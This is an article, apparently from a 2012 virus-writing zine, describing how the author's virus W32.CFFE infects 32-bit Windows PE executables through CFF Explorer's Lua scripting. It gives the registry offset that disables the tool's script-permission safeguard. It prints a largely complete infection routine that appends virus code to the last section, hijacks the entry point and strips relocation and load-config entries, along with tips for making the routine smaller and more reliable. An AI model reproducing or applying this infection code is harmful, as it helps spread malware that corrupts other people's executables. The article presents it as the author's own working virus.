                              Infect Using
                         CFF Explorer Scripting
                                 by hh86


About CFFE

There is a tool, CFF Explorer, it is my favorite.   I saw myself in a dream
writing this very same article, with no intro.  So, I knew to make my first
virus using this tool. I call it W32.CFFE.


What is it?

CFF Explorer  is a wonderful tool to edit PE files.   It would take quite a
while  to  write  down  all  of its feature and possible uses.  It supports
plug-ins and also has its own  scripting language (modified version of Lua)
to automate the edition of files (I have used it to edit other things too).


Can I Has Priviledges?

CFF Explorer has a good security mechanism for some functions that could be
used to compromise the system.  The default behavior is to ask the user for
permission to let the script use them.   While my script code is capable of
infection, it does not use any priviledge function.   It is a good idea and
reminds me of UAC.  But it is one that can be disabled.

I thought there would be a configuration file, but there is none. Therefore
I looked into the registry and found its "NTCore" key in HKCU/Software. The
configuration  data  is  stored  in  a  REG_BINARY  value  by  the  name of 
"Settings".  Currently, I have version "7.9.0.0" of CFF Explorer installed.
I did not bother to  check previous versions. The corresponding field entry
to disable its security mechanism is a 32-bit (boolean) at offset 0x78.


Manuscriptum

Script  files  have  extension ".cff".    Via command-line you can run your
script by passing its name as an argument for CFF Explorer.   Also, scripts
supports arguments, much in the same way of C.  In the documentation, it is
written  that  you can run functions using argument "-CFFSCRIPT=".  This is
true, and partially describes the fact that you can pass as an argument the
full source code of your script via command-line.

I would  not  recommend  to do  this  from Windows prompt, because you must
learn to escape some characters. CreateProcess API does not complains about
it.

Since .cff is a registered  extension, you  can  extract  the path from the
registry to lookup the installation directory:

"HKEY_CLASSES_ROOT\CFFExplorer.Script\shell\open\command"

I did not  wanted  to  make a script code to be a virus.  So no "CFF.virus"
thing, someone else might try this someday, simply  by using the find files
functions  (you  require  priviledges  for  this).    Instead, I  made  the 
infection procedure as a script, which is actually, a pretty  standard file
edition in this kind of tools.  ;)    Script and machine code do not infect
other .cff files, so no cross-platform.   x86 machine code is carried as an
array within the script.

Here is what the script code looks like (a simplified version of the script
that is used in the virus):


f = OpenFile(... filename ...)

-- 23117 instead of 0x5a4d

if ReadWord(f, 0) == 23117 and ReadWord(f, 2) != 1986 then
    PE = GetOffset(f, 1)

    -- 22 instead of 0x16 (IMAGE_NT_HEADERS.FileHeader.Characteristics offset)
    -- 92 instead of 0x5c (IMAGE_NT_HEADERS.OptionalHeader.Subsystem offset)
    -- 4092 instead of IMAGE_FILE_SYSTEM
    -- 17744 instead of "PE"
    -- 332 instead of 0x14c (IMAGE_FILE_MACHINE_I386)
    -- 2 instead of IMAGE_FILE_EXECUTABLE_IMAGE
    -- 2 instead of IMAGE_SUBSYSTEM_GUI
    -- 224 instead of 0xe0 (use this value as standard size of SizeOfOptionalHeader)
    -- check PE signature
    -- FileHeader.Machine == IMAGE_FILE_MACHINE_I386
    -- IsPE64 to discard file with IMAGE_NT_OPTIONAL_HDR64_MAGIC
    -- must be valid image file, and no system file

    d = 4096
    c = ReadWord(f, PE + 22)
    if ReadDword(f, PE) == 17744 and ReadWord(f, PE + 4) == 332 and IsPE64(f) == false and c & 2 == 2 and c & d != d and ReadWord(f, PE + 92) == 2 and ReadWord(f, p + 20) == 224 then

        -- 40 instead of 0x28 (sizeof IMAGE_SECTION_HEADER)
        -- 20 instead of 0x14 (IMAGE_SECTION_HEADER.PointerToRawData offset)
        -- 16 instead of 0x10 (IMAGE_SECTION_HEADER.SizeOfRawData offset)
        -- check PE size (discard file with data outside because AddDataToLastSection might overwrite it)

        SH = GetOffset(f, 5) + (ReadWord(f, PE + 6) - 1) * 40
        if GetFileSize(f) == ReadDword(f, SH + 20) + ReadDword(f, SH + 16) then
            h = AddDataToLastSection(f, {... here goes the array of virus values ...})
            if h then

                -- 40 instead of 0x28 (IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint offset)
                -- 36 instead of 0x24 (IMAGE_SECTION_HEADER.Characteristics offset)
                -- 200 instead of 0xc8 (offset of Load Config data directory entry)
                -- 160 instead of 0xa0 (offset of reloc data directory entry)
                WriteWord(f, 2, 1986)
                WriteQword(f, p + 200, 0)
                WriteQword(f, p + 160, 0)
                WriteDword(f, h + 1, ReadDword(f, PE + 40))
                WriteDword(f, PE + 40, OffsetToRva(f, h))
                WriteDword(f, SH + 36, ReadDword(f, SH + 36) | 0x20000000)
                SaveFile(f)
            end
        end
    end
    CloseHandle(f)
end


If  you  want the script code to run faster, you might want to use OpenFile
function instead of file  name as parameter for all functions. I used it so
that we can save the modification only if no errors occurred (unfortunately
there is no exception handling here, so must save in the last and most safe
moment).

Lua, just like VBScript  (and Visual Basic), process multiple conditions in
IF by making the evaluation and saving the results until THEN, for example:

    if a()!=1 and b==1 then

Let's suppose that a() returns 1,  b() is executed regardless the result of
the previous evaluation.  So longer IFs with lots of conditions take longer
time, and also if they  call many  functions that could have an error, they
make the code more likely to crash if numerous bad things happen.   JScript
in the other hand does not do this. If speed is the concern, then use an IF
for each check.

One  might  think PE64 function would be enough to discard PE32+  files and
invalid ones.  But it only checks that IMAGE_OPTIONAL_HEADER.Magic field is
IMAGE_NT_OPTIONAL_HDR64_MAGIC, ignoring IMAGE_FILE_HEADER.Machine field. If
IMAGE_DOS_HEADER.Magic is invalid, or IMAGE_DOS_HEADER.e_lfanew is invalid,
or IMAGE_NT_HEADERS.Signature is invalid, function returns false PE32.  You
might incorrectly assume file is valid and also not PE64. So, we must check
in the code.   After  all checks are passed, I only use IsPE64 to check the
first field noted here, to avoid a ReadWord, which takes more bytes.

If you want to get an offset fast, you can use GetOffset function.   In the
documentation, the ID (indexes)  constant looks like "PE_DosHeader", but we
can use numeric index instead, to save some bytes.

        -- 60 instead of 0x3c (offset of IMAGE_DOS_HEADER.e_lfanew)
        PE = ReadDword(f, 60)

We can use:

        -- PE_NtHeaders == 1
        PE = GetOffset(f, 1)


Get to last section header is a rather lengthy equation.    GetOffset helps
here too.   However, we will get the offset of the beginning of the section
headers.   It also seems to use SizeOfOptionalHeader to get this particular
offset, which is better than using NumberOfRvaAndSizes. ;)


Using no GetOffset:

        -- 20 instead of 0x14 (offset of IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader)
        -- 24 instead of 0x18 (offset of IMAGE_NT_HEADERS.OptionalHeader)
        -- 6 is IMAGE_NT_HEADERS.FileHeader.NumberOfSections
        -- 40 instead of 0x28 (sizeof IMAGE_SECTION_HEADER)

        SH = PE + ReadWord(f, PE + 20) + 24 + (ReadWord(f, PE + 6) - 1) * 40

Using GetOffset:

        -- 5 instead of "PE_SectionHeaders"
        -- 6 is IMAGE_NT_HEADERS.FileHeader.NumberOfSections
        -- 40 instead of 0x28 (sizeof IMAGE_SECTION_HEADER)

        SH = GetOffset(f, "PE_SectionHeaders") + (ReadWord(f, PE + 6) - 1) * 40

Or
        -- 5 instead of "PE_SectionHeaders"

        SH = GetOffset(f, 5) + (ReadWord(f, PE + 6) - 1) * 40


Tomorrow Never Knows

CFF Explorer  has a very impressive architecture, and it is a free tool.  I
couldn't ask for anything better to play with.  CFF Explorer also  supports
Extensions  (DLL  files), an x86 version  of  the  script  could be made to 
spread from PE to PE. I might try it someday.

hh86
November 2012
5f3bc5221626b2f8d66261fb073394{at}gmail.com